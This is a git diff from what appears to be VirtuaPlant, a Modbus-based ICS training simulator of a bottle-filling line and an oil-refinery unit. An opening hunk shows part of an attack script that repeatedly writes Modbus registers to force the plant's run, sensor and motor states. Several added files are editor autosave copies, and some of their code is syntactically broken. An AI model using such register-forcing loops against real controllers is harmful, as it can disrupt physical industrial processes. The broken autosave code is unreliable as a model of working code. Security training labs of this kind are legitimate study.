diff --git a/plants/bottle-filling/attacks/stop_all.py b/plants/bottle-filling/attacks/stop_all.py index 6719d3c..23436f3 100755 --- a/plants/bottle-filling/attacks/stop_all.py +++ b/plants/bottle-filling/attacks/stop_all.py @@ -16,7 +16,7 @@ try: client.connect() while True: - rq = client.write_register(0x10, 1) # Run Plant, Run! + rq = client.write_register(0x01, 1) # Run Plant, Run! rq = client.write_register(0x1, 0) # Level Sensor rq = client.write_register(0x2, 1) # Limit Switch rq = client.write_register(0x3, 0) # Motor diff --git a/plants/bottle-filling/hmi.py b/plants/bottle-filling/hmi.py index 59f4392..882c52d 100755 --- a/plants/bottle-filling/hmi.py +++ b/plants/bottle-filling/hmi.py @@ -175,4 +175,4 @@ def app_main(): if __name__ == "__main__": GObject.threads_init() app_main() - Gtk.main() + Gtk.main() \ No newline at end of file diff --git a/plants/bottle-filling/world.py b/plants/bottle-filling/world.py index 0d9f1ac..d3d33b1 100755 --- a/plants/bottle-filling/world.py +++ b/plants/bottle-filling/world.py @@ -351,4 +351,4 @@ def main(): startModbusServer() if __name__ == '__main__': - sys.exit(main()) + sys.exit(main()) \ No newline at end of file diff --git a/plants/bottle-filling/world.py~ b/plants/bottle-filling/world.py~ new file mode 100755 index 0000000..0d9f1ac --- /dev/null +++ b/plants/bottle-filling/world.py~ @@ -0,0 +1,354 @@ +#!/usr/bin/env python + +######################################### +# Imports +######################################### +# - Logging +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +######################################### +# Logging +######################################### +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +######################################### +# Util Functions +######################################### +def PLCSetTag(addr, value): + context[0x0].setValues(3, addr, [value]) + +def PLCGetTag(addr): + return context[0x0].getValues(3, addr, count=1)[0] + +######################################### +# World Code +######################################### + +# "Constants" +SCREEN_WIDTH = 600 +SCREEN_HEIGHT = 350 +FPS=50.0 + +MODBUS_SERVER_PORT=5020 + +PLC_TAG_LEVEL_SENSOR = 0x1 +PLC_TAG_LIMIT_SWITCH = 0x2 +PLC_TAG_MOTOR = 0x3 +PLC_TAG_NOZZLE = 0x4 +PLC_TAG_RUN = 0x10 + +# Global Variables +global bottles +bottles = [] + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Shape functions + +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(181,182) + body.position = x, 410 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = 0x5 #liquid + space.add(body, shape) + return shape + +def draw_ball(screen, ball, color=THECOLORS['blue']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +def add_bottle_in_sensor(space): + + body = pymunk.Body() + body.position = (40, 300) + radius = 2 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = 0x7 # 'bottle_in' + space.add(shape) + return shape + +def add_level_sensor(space): + + body = pymunk.Body() + body.position = (155, 380) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = 0x4 # level_sensor + space.add(shape) + return shape + +def add_limit_switch(space): + + body = pymunk.Body() + body.position = (200, 300) + radius = 2 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = 0x1 # switch + space.add(shape) + return shape + +def add_nozzle(space): + + body = pymunk.Body() + body.position = (180, 430) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +def add_base(space): + + body = pymunk.Body() + body.position = (0, 300) + shape = pymunk.Poly.create_box(body, (SCREEN_WIDTH, 20), ((SCREEN_WIDTH/2), -10), 0) + shape.friction = 1.0 + shape.collision_type = 0x6 # base + space.add(shape) + return shape + +def add_bottle(space): + mass = 10 + inertia = 0xFFFFFFFFF + body = pymunk.Body(mass, inertia) + body.position = (130,300) + l1 = pymunk.Segment(body, (-150, 0), (-100, 0), 2.0) + l2 = pymunk.Segment(body, (-150, 0), (-150, 100), 2.0) + l3 = pymunk.Segment(body, (-100, 0), (-100, 100), 2.0) + + # Glass friction + l1.friction = 0.94 + l2.friction = 0.94 + l3.friction = 0.94 + + # Set collision types for sensors + l1.collision_type = 0x2 # bottle_bottom + l2.collision_type = 0x3 # bottle_side + l3.collision_type = 0x3 # bottle_side + + space.add(l1, l2, l3, body) + return l1,l2,l3 + +def draw_polygon(screen, shape): + + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(screen, THECOLORS['black'], fpoints) + + +def draw_lines(screen, lines, color=THECOLORS['dodgerblue4']): + """Draw the lines""" + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) + p2 = to_pygame(pv2) + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Collision handlers +def no_collision(space, arbiter, *args, **kwargs): + return False + +def level_ok(space, arbiter, *args, **kwargs): + + log.debug("Level reached") + PLCSetTag(PLC_TAG_LIMIT_SWITCH, 0) # Limit Switch Release, Fill Bottle + PLCSetTag(PLC_TAG_LEVEL_SENSOR, 1) # Level Sensor Hit, Bottle Filled + PLCSetTag(PLC_TAG_NOZZLE, 0) # Close nozzle + return False + +def bottle_in_place(space, arbiter, *args, **kwargs): + + log.debug("Bottle in place") + PLCSetTag(PLC_TAG_LIMIT_SWITCH, 1) + PLCSetTag(PLC_TAG_LEVEL_SENSOR, 0) + PLCSetTag(PLC_TAG_NOZZLE, 1) # Open nozzle + return False + +def add_new_bottle(space, arbiter, *args, **kwargs): + global bottles + bottles.append(add_bottle(space)) + log.debug("Adding new bottle") + return False + +def runWorld(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Bottle-Filling Factory - World View - VirtuaPlant") + clock = pygame.time.Clock() + running = True + + space = pymunk.Space() + space.gravity = (0.0, -900.0) + + # Limit switch with bottle bottom + space.add_collision_handler(0x1, 0x2, begin=bottle_in_place) + # Level sensor with water + space.add_collision_handler(0x4, 0x5, begin=level_ok) + # Level sensor with ground + space.add_collision_handler(0x4, 0x6, begin=no_collision) + # Limit switch with ground + space.add_collision_handler(0x1, 0x6, begin=no_collision) + # Limit switch with bottle side + space.add_collision_handler(0x1, 0x3, begin=no_collision) + # Level sensor with bottle side + space.add_collision_handler(0x4, 0x3, begin=no_collision) + # Bottle in with bottle sides and bottom + space.add_collision_handler(0x7, 0x2, begin=no_collision, separate=add_new_bottle) + space.add_collision_handler(0x7, 0x3, begin=no_collision) + + base = add_base(space) + nozzle = add_nozzle(space) + limit_switch = add_limit_switch(space) + level_sensor = add_level_sensor(space) + bottle_in = add_bottle_in_sensor(space) + + global bottles + bottles.append(add_bottle(space)) + + balls = [] + + ticks_to_next_ball = 1 + + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + screen.fill(THECOLORS["white"]) + + if PLCGetTag(PLC_TAG_RUN): + + # Motor Logic + if (PLCGetTag(PLC_TAG_LIMIT_SWITCH) == 1): + PLCSetTag(PLC_TAG_MOTOR, 0) + + if (PLCGetTag(PLC_TAG_LEVEL_SENSOR) == 1): + PLCSetTag(PLC_TAG_MOTOR, 1) + + ticks_to_next_ball -= 1 + + if not PLCGetTag(PLC_TAG_LIMIT_SWITCH): + PLCSetTag(PLC_TAG_MOTOR, 1) + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_TAG_NOZZLE): + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + # Move the bottles + if PLCGetTag(PLC_TAG_MOTOR) == 1: + for bottle in bottles: + bottle[0].body.position.x += 0.25 + else: + PLCSetTag(PLC_TAG_MOTOR, 0) + + # Draw water balls + # Remove off-screen balls + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 150 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(screen, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + # Draw bottles + for bottle in bottles: + if bottle[0].body.position.x > SCREEN_WIDTH+150 or bottle[0].body.position.y < 150: + space.remove(bottle, bottle[0].body) + bottles.remove(bottle) + continue + draw_lines(screen, bottle) + + # Draw the base and nozzle + draw_polygon(screen, base) + draw_polygon(screen, nozzle) + # Draw the limit switch + draw_ball(screen, limit_switch, THECOLORS['green']) + # Draw the level sensor + draw_ball(screen, level_sensor, THECOLORS['red']) + + title = fontMedium.render(str("Bottle-filling factory"), 1, THECOLORS['deepskyblue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + screen.blit(title, (10, 40)) + screen.blit(name, (10, 10)) + screen.blit(instructions, (SCREEN_WIDTH-115, 10)) + + space.step(1/FPS) + pygame.display.flip() + + # Stop reactor if running + if reactor.running: + reactor.callFromThread(reactor.stop) + +######################################### +# Modbus Server Code +######################################### + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +identity = ModbusDeviceIdentification() +identity.VendorName = 'MockPLCs' +identity.ProductCode = 'MP' +identity.VendorUrl = 'http://github.com/bashwork/pymodbus/' +identity.ProductName = 'MockPLC 3000' +identity.ModelName = 'MockPLC Ultimate' +identity.MajorMinorRevision = '1.0' + +def startModbusServer(): + + StartTcpServer(context, identity=identity, address=("localhost", MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(runWorld) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_8OzcXx.py b/plants/oil-refinery/.~c9_invoke_8OzcXx.py new file mode 100644 index 0000000..309231a --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_8OzcXx.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + elif PLG: + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_A9hZBn.py b/plants/oil-refinery/.~c9_invoke_A9hZBn.py new file mode 100644 index 0000000..bb4fbac --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_A9hZBn.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + a = (-10, -10) +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to 